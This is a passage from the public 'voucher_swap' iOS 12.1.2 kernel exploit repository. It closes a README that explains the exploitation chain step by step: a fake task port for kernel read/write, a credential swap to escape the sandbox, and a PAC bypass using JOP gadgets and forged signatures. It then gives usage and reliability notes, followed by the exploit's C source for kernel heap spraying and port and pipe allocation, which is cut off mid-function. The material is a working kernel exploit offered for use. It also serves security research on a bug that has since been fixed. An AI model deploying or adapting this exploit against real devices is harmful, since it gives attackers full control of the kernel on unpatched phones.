231 |
232 | We can now discard all the filler ports and pipes we allocated earlier, since they're no longer
233 | needed.
234 |
235 | Our next step is to build a kernel memory read primitive. Although we have a send right to an
236 | ipc_port overlapping our pipe buffer, we don't actually know the address of our pipe buffer in
237 | kernel memory. And if we want to use the pid_for_task() trick to read memory, we'll need to build a
238 | fake task struct at a known address so that we can make our fake port's ip_kobject field point to
239 | it. So our next goal should be to find the address of our pipe buffer.
240 |
241 | Unfortunately, unlike prior exploits that have produced a dangling port, we only have a send right
242 | to our fake port, not a receive right. This means we have few options for modifying the port's
243 | state in such a way that it stores a pointer inside the ipc_port struct that allows us to determine
244 | its address.
245 |
246 | One thing we can do is call mach_port_request_notification() to generate a request that a dead name
247 | notification for the fake port be delivered to the base port. This will cause the kernel to
248 | allocate an array in the fake port's ip_requests field and store a pointer to the base port inside
249 | that array. Thus, we only need a single 8-byte read to get the address of the base port, and since
250 | the base port is at a fixed offset from the fake port (determined by how many times we incremented
251 | the freed voucher's iv_refs field), we can use the address of the base port to calculate the
252 | address of our pipe buffer.
253 |
254 | Of course, that means that in order to build our arbitrary read primitive, we need ... another
255 | arbitrary read primitive. So why is this helpful? Because our first read primitive will leak memory
256 | every time we use it while the second one will not.
257 |
258 | The problem we need to resolve in order to use pid_for_task() to read kernel memory is that we need
259 | to get a fake task struct whose bsd_info field points to the address we want to read at a known
260 | address in kernel memory. One way to do that is to simply send a Mach message containing our fake
261 | task struct to the fake port, and then read out the port's ip_messages.imq_messages field via the
262 | pipe to get the address of the ipc_kmsg struct containing the message. Then we can compute the
263 | address of the fake task inside the ipc_kmsg and rewrite the fake port to be a task port pointing
264 | to the fake task, allowing us to call pid_for_task() to read 4 bytes of kernel memory.
265 |
266 | Using this technique, we can read the value of the base port pointer in the ip_requests array and
267 | then compute the address of the fake port and the containing pipe buffer. And once we know the
268 | address of the pipe buffer, we can create the fake task by writing to our pipe to avoid leaking
269 | memory on each read.
270 |
271 | Now that we have a stable kernel read primitive, we can find the address of the host port and read
272 | out the host port's ip_receiver field to get the address of the kernel's ipc_space.
273 |
274 | I then borrow Ian's technique of iterating through all the ipc_port elements in the host port's
275 | zalloc block looking for the kernel task port. Once we find the kernel task port, we can read the
276 | ip_kobject field to get the kernel task, and reading the task's map field gives us the kernel's
277 | vm_map.
278 |
279 | At this point we have everything we need to build a fake kernel task inside our pipe buffer, giving
280 | us the ability to read and write kernel memory using mach_vm_read() and mach_vm_write().
281 |
282 | The next step is to build a permanent fake kernel task port. We allocate some kernel memory with
283 | mach_vm_allocate() and then write a new fake kernel task into that allocation. We then modify the
284 | fake port's ipc_entry in our task so that it points to the new fake kernel task, which allows us to
285 | clean up the remaining resources safely.
286 |
287 | We remove the extra reference on the base port, destroy the voucher port allocated by the call to
288 | thread_get_mach_voucher() on the freed voucher, deallocate the ip_requests array, and destroy the
289 | leaked ipc_kmsg structs used during our first kernel read primitive.
290 |
291 | This leaves us with a stable system and a fake kernel task port with which we can read and write
292 | kernel memory.
293 |
294 | ---- Kernel function calling / PAC bypass ---------------------------------------------------------
295 |
296 | In order to call kernel functions I use the iokit_user_client_trap() technique. This works without
297 | modification on non-PAC devices, but on PAC-enabled devices like the iPhone XS we need to do a
298 | little extra work.
299 |
300 | First we get a handle to an IOAudio2DeviceUserClient. Since the container sandbox usually prevents
301 | us from accessing this class, we briefly replace our proc's credentials with the kernel proc's
302 | credentials to bypass the sandbox check.
303 |
304 | Once we have an IOAudio2DeviceUserClient, we read the value of the user client's trap field, which
305 | points to a heap-allocated IOExternalTrap object. Then, to call an arbitrary kernel function, we
306 | simply overwrite the trap to point to the target function and then call IOConnectTrap6() from
307 | userspace.
308 |
309 | This technique has several limitations at this stage: we only control the values of registers X1 -
310 | X6, the return value gets truncated to 32 bits, and the function pointer that we call must already
311 | have a valid PACIZA signature (that is, a PAC signature using the A-instruction key with context
312 | 0). Thus, we'll need to find a way to generate PACIZA signatures on arbitrary functions.
313 |
314 | As it turns out, one way to do this is to call the module destructor for the com.apple.nke.lttp
315 | kext. There is already a PACIZA'd pointer to the function l2tp_domain_module_stop() in kernel
316 | memory, so we already have the ability to call it. And as the final step in tearing down the
317 | module, l2tp_domain_module_stop() calls sysctl_unregister_oid() on the sysctl__net_ppp_l2tp global
318 | sysctl_oid struct, which resides in writable memory. And on PAC-enabled systems,
319 | sysctl_unregister_oid() executes the following instruction sequence on the sysctl_oid struct:
320 |
321 | LDR X10, [X9,#0x30]! ;; X10 = old_oidp->oid_handler
322 | CBNZ X19, loc_FFFFFFF007EBD330
323 | CBZ X10, loc_FFFFFFF007EBD330
324 | MOV X19, #0
325 | MOV X11, X9 ;; X11 = &oid_handler
326 | MOVK X11, #0x14EF,LSL#48 ;; X11 = 14EF`&oid_handler
327 | AUTIA X10, X11 ;; X10 = AUTIA(oid_handler, 14EF`&handler)
328 | PACIZA X10 ;; X10 = PACIZA(X10)
329 | STR X10, [X9] ;; old_oidp->oid_handler = X10
330 |
331 | That means that the field sysctl__net_ppp_l2tp->oid_handler will be replaced with the value
332 | PACIZA(AUTIA(sysctl__net_ppp_l2tp->oid_handler, )).
333 |
334 | Clearly we can't forge PACIA signatures at this point, so AUTIA will fail and produce an invalid
335 | pointer value. This isn't NULL or some constant sentinel, but rather is the XPAC'd value with two
336 | of the pointer extension bits replaced with an error code to make the resulting pointer invalid.
337 | And this is interesting because when PACIZA is used to sign a pointer with invalid extension bits,
338 | what actually happens is that first the corrected pointer is signed and then one bit of the PAC
339 | signature is flipped, rendering it invalid.
340 |
341 | What this means for us is that even though sysctl__net_ppp_l2tp->oid_handler was not originally
342 | signed, this gadget overwrites the field with a value that is only one bit different from a valid
343 | PACIZA signature, allowing us to compute the true PACIZA signature. And if we use this gadget to
344 | sign a pointer to a JOP gadget like "mov x0, x4 ; br x5", then we can execute any kernel function
345 | we want with up to 4 arguments.
346 |
347 | We then use the signed "mov x0, x4 ; br x5" gadget to build a PACIA-signing primitive. There are a
348 | small number of possible PACIA gadgets, of which we use one that starts:
349 |
350 | PACIA X9, X10
351 | STR X9, [X2,#0xF0]
352 |
353 | In order to use this gadget, we execute the following JOP program:
354 |
355 | X1 = &"MOV X10, X3 ; BR X6"
356 | X2 = KERNEL_BUFFER
357 | X3 = CONTEXT
358 | X4 = POINTER
359 | X5 = &"MOV X9, X0 ; BR X1"
360 | X6 = &"PACIA X9, X10 ; STR X9, [X2,#0xF0]"
361 | PC = PACIA("MOV X0, X4 ; BR X5")
362 |
363 | MOV X0, X4
364 | BR X5
365 |
366 | MOV X9, X0
367 | BR X1
368 |
369 | MOV X10, X3
370 | BR X6
371 |
372 | PACIA X9, X10
373 | STR X9, [X2,#0xF0]
374 |
375 | This leaves us with the PACIA'd pointer in kernel memory, which we can read back using our read
376 | primitive. Thus, we can now perform arbitrary PACIA forgeries. And using a similar technique with a
377 | PACDA gadget, we can produce PACDA forgeries.
378 |
379 | All that's left is to get control over X0 when doing a function call. We read in the
380 | IOAudio2DeviceUserClient's vtable and use our forgery gadgets to replace
381 | IOAudio2DeviceUserClient::getTargetAndTrapForIndex() with IOUserClient::getTargetAndTrapForIndex()
382 | and replace IOUserClient::getExternalTrapForIndex() with IORegistryEntry::getRegistryEntryID().
383 | Then we overwrite the user client's registry entry ID field with a pointer to the IOExternalTrap.
384 | Finally we write the patched vtable into allocated kernel memory and replace the user client's
385 | vtable pointer with a forged pointer to our fake vtable.
386 |
387 | And at this point we now have the ability to call arbitrary kernel functions with up to 7 arguments
388 | using the iokit_user_client_trap() technique, just like on non-PAC devices.
389 |
390 | ---- Running the exploit --------------------------------------------------------------------------
391 |
392 | For best results, reboot the device and wait a few seconds before running the exploit. I've seen
393 | reliability above 99.5% on my devices after a fresh boot (the completed exploit has never failed
394 | for me).
395 |
396 | Running the exploit twice without rebooting will almost certainly panic, since it will mess up the
397 | heap groom and possibly result in base port having a too-large address.
398 |
399 | After getting kernel read/write and setting up kernel function calling, the exploit will trigger a
400 | panic by calling an invalid address with special values in registers X0 - X6 to demonstrate that
401 | function calling is successful.
402 |
403 | ---- Platforms ------------------------------------------------------------------------------------
404 |
405 | I've tested on an iPhone 8, iPhone XR, and iPhone XS running iOS 12.1.2. You can add support for
406 | other devices in the files voucher_swap/parameters.c and voucher_swap/kernel_call/kc_parameters.c.
407 | The exploit currently assumes a 16K kernel page size, although it should be possible to remove this
408 | requirement. The PAC bypass also relies on certain gadgets which may be different on other versions
409 | or devices.
410 |
411 | This vulnerability was fixed in iOS 12.1.3, released January 22, 2019:
412 | https://support.apple.com/en-us/HT209443
413 |
414 | ---- Other exploits -------------------------------------------------------------------------------
415 |
416 | This bug was independently discovered and exploited by Qixun Zhao (@S0rryMybad) as part of a remote
417 | jailbreak. He developed a clever exploit strategy that reallocates the voucher with OSStrings; you
418 | can read about it here:
419 | http://blogs.360.cn/post/IPC%20Voucher%20UaF%20Remote%20Jailbreak%20Stage%202%20(EN).html
420 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/kernel_alloc.c:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_alloc.c
3 | * Brandon Azad
4 | */
5 | #include "kernel_alloc.h"
6 |
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 |
14 | #include "log.h"
15 | #include "parameters.h"
16 |
17 | // Compute the minimum of 2 values.
18 | #define min(a, b) ((a) < (b) ? (a) : (b))
19 |
20 | size_t
21 | message_size_for_kalloc_size(size_t kalloc_size) {
22 | if (kalloc_size <= kmsg_zone_size) {
23 | return 0;
24 | }
25 | // Thanks Ian!
26 | return ((3 * kalloc_size) / 4) - 0x74;
27 | }
28 |
29 | size_t
30 | kalloc_size_for_message_size(size_t message_size) {
31 | if (message_size <= message_size_for_kmsg_zone) {
32 | return 0;
33 | }
34 | return message_size + ((message_size - 28) / 12) * 4 + 164;
35 | }
36 |
37 | size_t
38 | ipc_kmsg_size_for_message_size(size_t message_size) {
39 | if (message_size <= message_size_for_kmsg_zone) {
40 | return kmsg_zone_size;
41 | }
42 | return kalloc_size_for_message_size(message_size);
43 | }
44 |
45 | // A message containing out-of-line ports.
46 | struct ool_ports_msg {
47 | mach_msg_header_t header;
48 | mach_msg_body_t body;
49 | mach_msg_ool_ports_descriptor_t ool_ports[0];
50 | };
51 |
52 | size_t
53 | ool_ports_spray_port(mach_port_t holding_port,
54 | const mach_port_t *ool_ports, size_t port_count,
55 | mach_msg_type_name_t ool_disposition, size_t ool_count,
56 | size_t message_size, size_t message_count) {
57 | // Calculate the size of each component.
58 | struct ool_ports_msg *msg;
59 | // Sanity checks.
60 | assert(sizeof(*msg) + ool_count * sizeof(msg->ool_ports[0]) <= message_size);
61 | assert(port_count * ool_count <= max_ool_ports_per_message);
62 | assert(message_count <= MACH_PORT_QLIMIT_MAX);
63 | // Allocate a message containing the required number of OOL ports descriptors.
64 | msg = calloc(1, message_size);
65 | assert(msg != NULL);
66 | // Trace the kalloc allocations we're about to perform.
67 | DEBUG_TRACE(2, "%s: %zu * kalloc(%zu) + %zu * kalloc(%zu)", __func__,
68 | ool_count * message_count, port_count * sizeof(uint64_t),
69 | message_count, kalloc_size_for_message_size(message_size));
70 | // If the user didn't supply any ool_ports, create our own.
71 | mach_port_t *alloc_ports = NULL;
72 | if (ool_ports == NULL) {
73 | alloc_ports = calloc(port_count, sizeof(mach_port_t));
74 | assert(alloc_ports != NULL);
75 | ool_ports = alloc_ports;
76 | }
77 | // Populate the message. Each OOL ports descriptor will be a kalloc.
78 | msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
79 | msg->header.msgh_remote_port = holding_port;
80 | msg->header.msgh_size = (mach_msg_size_t) message_size;
81 | msg->header.msgh_id = 'ools';
82 | msg->body.msgh_descriptor_count = (mach_msg_size_t) ool_count;
83 | mach_msg_ool_ports_descriptor_t ool_descriptor = {};
84 | ool_descriptor.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
85 | ool_descriptor.address = (void *) ool_ports;
86 | ool_descriptor.count = (mach_msg_size_t) port_count;
87 | ool_descriptor.deallocate = FALSE;
88 | ool_descriptor.copy = MACH_MSG_PHYSICAL_COPY;
89 | ool_descriptor.disposition = ool_disposition;
90 | for (size_t i = 0; i < ool_count; i++) {
91 | msg->ool_ports[i] = ool_descriptor;
92 | }
93 | // Send the messages.
94 | size_t messages_sent = 0;
95 | for (; messages_sent < message_count; messages_sent++) {
96 | kern_return_t kr = mach_msg(
97 | &msg->header,
98 | MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
99 | (mach_msg_size_t) message_size,
100 | 0,
101 | MACH_PORT_NULL,
102 | MACH_MSG_TIMEOUT_NONE,
103 | MACH_PORT_NULL);
104 | if (kr != KERN_SUCCESS) {
105 | ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr));
106 | break;
107 | }
108 | }
109 | // Clean up the allocated ports.
110 | if (alloc_ports != NULL) {
111 | free(alloc_ports);
112 | }
113 | // Return the number of messages we sent.
114 | return messages_sent;
115 | }
116 |
117 | /*
118 | * kalloc_spray_compute_message_shape
119 | *
120 | * Description:
121 | * Compute the shape of a message to maximally spray the specified kalloc zone. This spray is
122 | * good for consuming memory, not for overwriting memory with specific contents.
123 | */
124 | static void
125 | kalloc_spray_compute_message_shape(size_t kalloc_min, size_t kalloc_zone,
126 | size_t *message_size, size_t *ools_per_message, size_t *ports_per_ool) {
127 | assert(kmsg_zone_size < kalloc_min);
128 | assert(kalloc_min <= kalloc_zone);
129 | // We always want to maximize the number of OOL port kalloc allocations per message, so let
130 | // the message take up the a full zone element if needed.
131 | size_t max_message_size = message_size_for_kalloc_size(kalloc_zone);
132 | // Since we can send a maximum of max_ool_ports_per_message OOL ports in a single message,
133 | // we always want to send the minimum number of OOL ports in each descriptor (since adding
134 | // more ports in a descriptor only counts against the limit without increasing the number
135 | // of allocations). Thus, use the smallest number of ports that gets us at least
136 | // kalloc_min.
137 | size_t ports_per_ool_ = (kalloc_min + sizeof(uint64_t) - 1) / sizeof(uint64_t);
138 | // How many OOL ports descriptors can we send per message? As many as we'd like, as long
139 | // as:
140 | // 1. we have space for them in the message, and
141 | // 2. we don't blow through the max_ool_ports_per_message limit.
142 | size_t max_ools_by_message_size =
143 | (max_message_size - sizeof(mach_msg_base_t))
144 | / sizeof(mach_msg_ool_ports_descriptor_t);
145 | size_t max_ools_by_port_limit = max_ool_ports_per_message / ports_per_ool_;
146 | size_t ools_per_message_ = min(max_ools_by_message_size, max_ools_by_port_limit);
147 | // Now that we know how many OOL ports descriptors we can send per message, let's calculate
148 | // the message size. If the message size is too small, we'll just round it up.
149 | size_t message_size_ = sizeof(mach_msg_base_t)
150 | + ools_per_message_ * sizeof(mach_msg_ool_ports_descriptor_t);
151 | assert(kalloc_size_for_message_size(message_size_) <= kalloc_zone);
152 | if (kalloc_size_for_message_size(message_size_) < kalloc_min) {
153 | size_t kalloc_min_rounded = (kalloc_min + 15) & ~15;
154 | message_size_ = (message_size_for_kalloc_size(kalloc_min_rounded) + 3) & ~3;
155 | }
156 | assert(kalloc_min <= kalloc_size_for_message_size(message_size_));
157 | assert(kalloc_size_for_message_size(message_size_) <= kalloc_zone);
158 | // Return the values.
159 | *message_size = message_size_;
160 | *ools_per_message = ools_per_message_;
161 | *ports_per_ool = ports_per_ool_;
162 | }
163 |
164 | size_t
165 | kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone,
166 | size_t kalloc_count) {
167 | // First compute the message shape for spraying the specified zone.
168 | size_t message_size, ools_per_message, ports_per_ool;
169 | kalloc_spray_compute_message_shape(min_kalloc_size, kalloc_zone,
170 | &message_size, &ools_per_message, &ports_per_ool);
171 | assert(min_kalloc_size <= kalloc_size_for_message_size(message_size));
172 | assert(kalloc_size_for_message_size(message_size) <= kalloc_zone);
173 | assert(min_kalloc_size <= ports_per_ool * sizeof(uint64_t));
174 | assert(ports_per_ool * sizeof(uint64_t) <= kalloc_zone);
175 | assert(sizeof(mach_msg_base_t) + ools_per_message * sizeof(mach_msg_ool_ports_descriptor_t) <= message_size);
176 | // How many allocations does each message we send give us? Well, there's 1 allocation for
177 | // the message and 1 allocation for each OOL ports descriptor.
178 | size_t kallocs_per_message = 1 + ools_per_message;
179 | // How many full/partial messages will we need to spray kalloc_count allocations? If the
180 | // number of full messages is greater than the queue limit, truncate to that many messages.
181 | size_t full_message_count = kalloc_count / kallocs_per_message;
182 | size_t partial_message_kalloc_count = kalloc_count % kallocs_per_message;
183 | if (full_message_count >= MACH_PORT_QLIMIT_MAX) {
184 | full_message_count = MACH_PORT_QLIMIT_MAX;
185 | partial_message_kalloc_count = 0;
186 | }
187 | // Alright, so now we have all the parameters we need. Spray all the full messages to the
188 | // port.
189 | DEBUG_TRACE(2, "%s: %zu full messages, %zu descriptors per message, "
190 | "%zu ports per descriptor, %zu kallocs (%zu bytes) per message",
191 | __func__, full_message_count, ools_per_message, ports_per_ool,
192 | kallocs_per_message, kallocs_per_message * kalloc_zone);
193 | size_t full_messages_sent = ool_ports_spray_port(
194 | holding_port,
195 | NULL,
196 | ports_per_ool,
197 | MACH_MSG_TYPE_MAKE_SEND,
198 | ools_per_message,
199 | message_size,
200 | full_message_count);
201 | size_t full_messages_kallocs = full_messages_sent * kallocs_per_message;
202 | // If we sent all the full messages (indicating no errors were encountered) and we also
203 | // want to send a partial message, send that.
204 | size_t partial_message_kallocs = 0;
205 | if (full_messages_sent == full_message_count && partial_message_kalloc_count > 0) {
206 | size_t partial_message_ools = partial_message_kalloc_count - 1;
207 | size_t partial_messages_sent = ool_ports_spray_port(
208 | holding_port,
209 | NULL,
210 | ports_per_ool,
211 | MACH_MSG_TYPE_MAKE_SEND,
212 | partial_message_ools,
213 | message_size,
214 | 1);
215 | partial_message_kallocs = partial_messages_sent * partial_message_kalloc_count;
216 | }
217 | // Finally, return the total number of kallocs stashed in our port.
218 | assert(full_messages_kallocs + partial_message_kallocs <= kalloc_count);
219 | return full_messages_kallocs + partial_message_kallocs;
220 | }
221 |
222 | size_t
223 | kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count,
224 | size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size) {
225 | size_t kallocs_needed = (spray_size + kalloc_zone - 1) / kalloc_zone;
226 | size_t count = *port_count;
227 | // Spray to each of the ports in turn.
228 | size_t kallocs_left = kallocs_needed;
229 | size_t ports_used = 0;
230 | for (; ports_used < count && kallocs_left > 0; ports_used++) {
231 | size_t kallocs_done = kalloc_spray_port(holding_ports[ports_used],
232 | min_kalloc_size, kalloc_zone, kallocs_left);
233 | assert(kallocs_done <= kallocs_left);
234 | kallocs_left -= kallocs_done;
235 | }
236 | // Compute how many kallocs were actually performed.
237 | size_t kallocs_done = kallocs_needed - kallocs_left;
238 | if (kallocs_left > 0) {
239 | WARNING("failed to spray %zu * kalloc(%zu)", kallocs_left, kalloc_zone);
240 | }
241 | // Return the number of ports actually used and the number of bytes actually sprayed.
242 | *port_count = ports_used;
243 | return kallocs_done * kalloc_zone;
244 | }
245 |
246 | mach_port_t *
247 | create_ports(size_t count) {
248 | mach_port_t *ports = calloc(count, sizeof(*ports));
249 | assert(ports != NULL);
250 | mach_port_options_t options = {};
251 | for (size_t i = 0; i < count; i++) {
252 | kern_return_t kr = mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
253 | assert(kr == KERN_SUCCESS);
254 | }
255 | return ports;
256 | }
257 |
258 | void
259 | destroy_ports(mach_port_t *ports, size_t count) {
260 | for (size_t i = 0; i < count; i++) {
261 | mach_port_t port = ports[i];
262 | if (MACH_PORT_VALID(port)) {
263 | kern_return_t kr = mach_port_destroy(mach_task_self(), port);
264 | if (kr != KERN_SUCCESS) {
265 | ERROR("%s returned %d: %s", "mach_port_destroy",
266 | kr, mach_error_string(kr));
267 | }
268 | }
269 | ports[i] = MACH_PORT_DEAD;
270 | }
271 | }
272 |
273 | void
274 | deallocate_ports(mach_port_t *ports, size_t count) {
275 | for (size_t i = 0; i < count; i++) {
276 | mach_port_t port = ports[i];
277 | if (MACH_PORT_VALID(port)) {
278 | kern_return_t kr = mach_port_deallocate(mach_task_self(), port);
279 | if (kr != KERN_SUCCESS) {
280 | ERROR("%s returned %d: %s", "mach_port_deallocate",
281 | kr, mach_error_string(kr));
282 | }
283 | }
284 | ports[i] = MACH_PORT_DEAD;
285 | }
286 | }
287 |
288 | void
289 | port_increase_queue_limit(mach_port_t port) {
290 | mach_port_limits_t limits = { .mpl_qlimit = MACH_PORT_QLIMIT_MAX };
291 | kern_return_t kr = mach_port_set_attributes(
292 | mach_task_self(),
293 | port,
294 | MACH_PORT_LIMITS_INFO,
295 | (mach_port_info_t) &limits,
296 | MACH_PORT_LIMITS_INFO_COUNT);
297 | assert(kr == KERN_SUCCESS);
298 | }
299 |
300 | void
301 | port_insert_send_right(mach_port_t port) {
302 | kern_return_t kr = mach_port_insert_right(mach_task_self(), port, port,
303 | MACH_MSG_TYPE_MAKE_SEND);
304 | assert(kr == KERN_SUCCESS);
305 | }
306 |
307 | /*
308 | * ool_ports_spray_size_with_gc_compute_parameters
309 | *
310 | * Description:
311 | * Compute the spray parameters for ool_ports_spray_size_with_gc().
312 | */
313 | static void
314 | ool_ports_spray_size_with_gc_compute_parameters(
315 | size_t ports_per_ool, size_t message_size, size_t spray_size,
316 | size_t *ool_size, size_t *ools_per_message, size_t *ools_needed) {
317 | // Each message will contain no more than gc_step bytes of OOL ports.
318 | const size_t max_ool_memory_per_message = gc_step;
319 | // How many OOL ports descriptors can we send per message? As many as we'd like, as long
320 | // as:
321 | // 1. we aren't sending more than gc_step bytes of OOL ports in a message,
322 | // 2. we have space for them in the message, and
323 | // 3. we don't blow through the max_ool_ports_per_message limit.
324 | size_t ool_size_ = ports_per_ool * sizeof(uint64_t);
325 | size_t max_ools_by_memory = max_ool_memory_per_message / ool_size_;
326 | size_t max_ools_by_message_size =
327 | (message_size - sizeof(mach_msg_base_t))
328 | / sizeof(mach_msg_ool_ports_descriptor_t);
329 | size_t max_ools_by_port_limit = max_ool_ports_per_message / ports_per_ool;
330 | size_t ools_per_message_ = min(max_ools_by_memory,
331 | min(max_ools_by_message_size, max_ools_by_port_limit));
332 | // How many OOL port descriptors will we need to spray? Enough to fill all the requested
333 | // memory.
334 | size_t ools_needed_ = (spray_size + ool_size_ - 1) / ool_size_;
335 | // Return the parameters.
336 | *ool_size = ool_size_;
337 | *ools_per_message = ools_per_message_;
338 | *ools_needed = ools_needed_;
339 | }
340 |
341 | size_t
342 | ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count,
343 | size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count,
344 | mach_msg_type_name_t ool_disposition, size_t spray_size) {
345 | // Compute the parameters for the spray.
346 | size_t ool_size, ools_per_message, ools_needed;
347 | ool_ports_spray_size_with_gc_compute_parameters(ool_port_count, message_size, spray_size,
348 | &ool_size, &ools_per_message, &ools_needed);
349 | // Spray to each of the ports in turn until we've created the requisite number of OOL ports
350 | // allocations.
351 | ssize_t ools_left = ools_needed;
352 | size_t sprayed = 0;
353 | size_t next_gc_step = 0;
354 | size_t port_count = *holding_port_count;
355 | size_t ports_used = 0;
356 | for (; ports_used < port_count && ools_left > 0; ports_used++) {
357 | // Spray this port one message at a time until we've maxed out its queue.
358 | size_t messages_sent = 0;
359 | for (; messages_sent < (kCFCoreFoundationVersionNumber >= 1535.12 ? MACH_PORT_QLIMIT_MAX : MACH_PORT_QLIMIT_DEFAULT) && ools_left > 0; messages_sent++) {
360 | // If we've crossed the GC sleep boundary, sleep for a bit and schedule the
361 | // next one.
362 | if (sprayed >= next_gc_step) {
363 | next_gc_step += gc_step;
364 | pthread_yield_np();
365 | usleep(10000);
366 | fprintf(stderr, ".");
367 | }
368 | // Send a message.
369 | size_t sent = ool_ports_spray_port(
370 | holding_ports[ports_used],
371 | ool_ports,
372 | ool_port_count,
373 | ool_disposition,
374 | ools_per_message,
375 | message_size,
376 | 1);
377 | // If we couldn't send a message to this port, stop trying to send more
378 | // messages and move on to the next port.
379 | if (sent != 1) {
380 | assert(sent == 0);
381 | break;
382 | }
383 | // We sent a full message worth of OOL port descriptors.
384 | sprayed += ools_per_message * ool_size;
385 | ools_left -= ools_per_message;
386 | }
387 | }
388 | fprintf(stderr, "\n");
389 | // Return the number of ports actually used and the number of bytes actually sprayed.
390 | *holding_port_count = ports_used;
391 | return sprayed;
392 | }
393 |
394 | void
395 | port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *)) {
396 | kern_return_t kr;
397 | mach_msg_option_t options = MACH_RCV_MSG | MACH_RCV_LARGE | MACH_RCV_TIMEOUT
398 | | MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0)
399 | | MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_NULL);
400 | // Allocate an initial message buffer.
401 | mach_msg_size_t msg_size = 0x4000;
402 | mach_msg_base_t *msg = malloc(msg_size);
403 | assert(msg != NULL);
404 | // Loop through all the messages queued on the port.
405 | for (;;) {
406 | // Try to receive the message. If the buffer isn't big enough, reallocate
407 | // and try again. This should only happen twice.
408 | for (size_t try = 0;; try++) {
409 | assert(try < 2);
410 | // Receive the message.
411 | kr = mach_msg(
412 | &msg->header,
413 | options,
414 | 0,
415 | msg_size,
416 | port,
417 | 0,
418 | MACH_PORT_NULL);
419 | if (kr != MACH_RCV_LARGE) {
420 | break;
421 | }
422 | // The buffer was too small, increase it.
423 | msg_size = msg->header.msgh_size + REQUESTED_TRAILER_SIZE(options);
424 | free(msg);
425 | msg = malloc(msg_size);
426 | assert(msg != NULL);
427 | }
428 | // If we got an error, stop processing messages on this port. If the error is a
429 | // timeout, that means that we've exhausted the queue, so don't print an error
430 | // message.
431 | if (kr != KERN_SUCCESS) {
432 | if (kr != MACH_RCV_TIMED_OUT) {
433 | ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr));
434 | }
435 | break;
436 | }
437 | // Pass the message to the message handler.
438 | message_handler(&msg->header);
439 | }
440 | // Clean up resources.
441 | free(msg);
442 | }
443 |
444 | void
445 | port_discard_messages(mach_port_t port) {
446 | port_drain_messages(port, ^(mach_msg_header_t *header) {
447 | mach_msg_destroy(header);
448 | });
449 | }
450 |
451 | void
452 | ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count,
453 | void (^ool_ports_handler)(mach_port_t *, size_t)) {
454 | // Loop through all the ports.
455 | for (size_t port_index = 0; port_index < holding_port_count; port_index++) {
456 | // Handle each message on the port.
457 | port_drain_messages(holding_ports[port_index], ^(mach_msg_header_t *msg0) {
458 | struct ool_ports_msg *msg = (struct ool_ports_msg *)msg0;
459 | // We've successfully received a message. Make sure it's the type we
460 | // expect.
461 | if (msg->header.msgh_id != 'ools') {
462 | WARNING("received unexpected message id 0x%x",
463 | msg->header.msgh_id);
464 | goto done;
465 | }
466 | if (!MACH_MSGH_BITS_IS_COMPLEX(msg->header.msgh_bits)) {
467 | WARNING("skipping non-complex message");
468 | goto done;
469 | }
470 | // Go through the descriptors one at a time passing them to the handler
471 | // block.
472 | mach_msg_descriptor_t *d = (mach_msg_descriptor_t *)&msg->ool_ports[0];
473 | for (size_t i = 0; i < msg->body.msgh_descriptor_count; i++) {
474 | void *next;
475 | switch (d->type.type) {
476 | case MACH_MSG_OOL_PORTS_DESCRIPTOR:
477 | next = &d->ool_ports + 1;
478 | mach_port_t *ports = (mach_port_t *)
479 | d->ool_ports.address;
480 | size_t count = d->ool_ports.count;
481 | ool_ports_handler(ports, count);
482 | break;
483 | default:
484 | WARNING("unexpected descriptor type %u",
485 | d->type.type);
486 | goto done;
487 | }
488 | d = (mach_msg_descriptor_t *)next;
489 | }
490 | done:
491 | // Discard the message.
492 | mach_msg_destroy(&msg->header);
493 | });
494 | }
495 | }
496 |
497 | void
498 | increase_file_limit_voucher() {
499 | struct rlimit rl = {};
500 | int error = getrlimit(RLIMIT_NOFILE, &rl);
501 | assert(error == 0);
502 | rl.rlim_cur = 10240;
503 | rl.rlim_max = rl.rlim_cur;
504 | error = setrlimit(RLIMIT_NOFILE, &rl);
505 | if (error != 0) {
506 | ERROR("could not increase file limit");
507 | }
508 | error = getrlimit(RLIMIT_NOFILE, &rl);
509 | assert(error == 0);
510 | if (rl.rlim_cur != 10240) {
511 | ERROR("file limit is %llu", rl.rlim_cur);
512 | }
513 | }
514 |
515 | void
516 | pipe_close(int pipefds[2]) {
517 | close(pipefds[0]);
518 | close(pipefds[1]);
519 | }
520 |
521 | /*
522 | * set_nonblock
523 | *
524 | * Description:
525 | * Set the O_NONBLOCK flag on the specified file descriptor.
526 | */
527 | static void
528 | set_nonblock(int fd) {
529 | int flags = fcntl(fd, F_GETFL);
530 | flags |= O_NONBLOCK;
531 | fcntl(fd, F_SETFL, flags);
532 | }
533 |
534 | int *
535 | create_pipes(size_t *pipe_count) {
536 | // Allocate our initial array.
537 | size_t capacity = *pipe_count;
538 | int *pipefds = calloc(2 * capacity, sizeof(int));
539 | assert(pipefds != NULL);
540 | // Create as many pipes as we can.
541 | size_t count = 0;
542 | for (; count < capacity; count++) {
543 | // First create our pipe fds.
544 | int fds[2] = { -1, -1 };
545 | int error = pipe(fds);
546 | // Unfortunately pipe() seems to return success with invalid fds once we've
547 | // exhausted the file limit. Check for this.
548 | if (error != 0 || fds[0] < 0 || fds[1] < 0) {
549 | pipe_close(fds);
550 | break;
551 | }
552 | // Mark the write-end as nonblocking.
553 | set_nonblock(fds[1]);
554 | // Store the fds.
555 | pipefds[2 * count + 0] = fds[0];
556 | pipefds[2 * count + 1] = fds[1];
557 | }
558 | // Truncate the array to the smaller size.
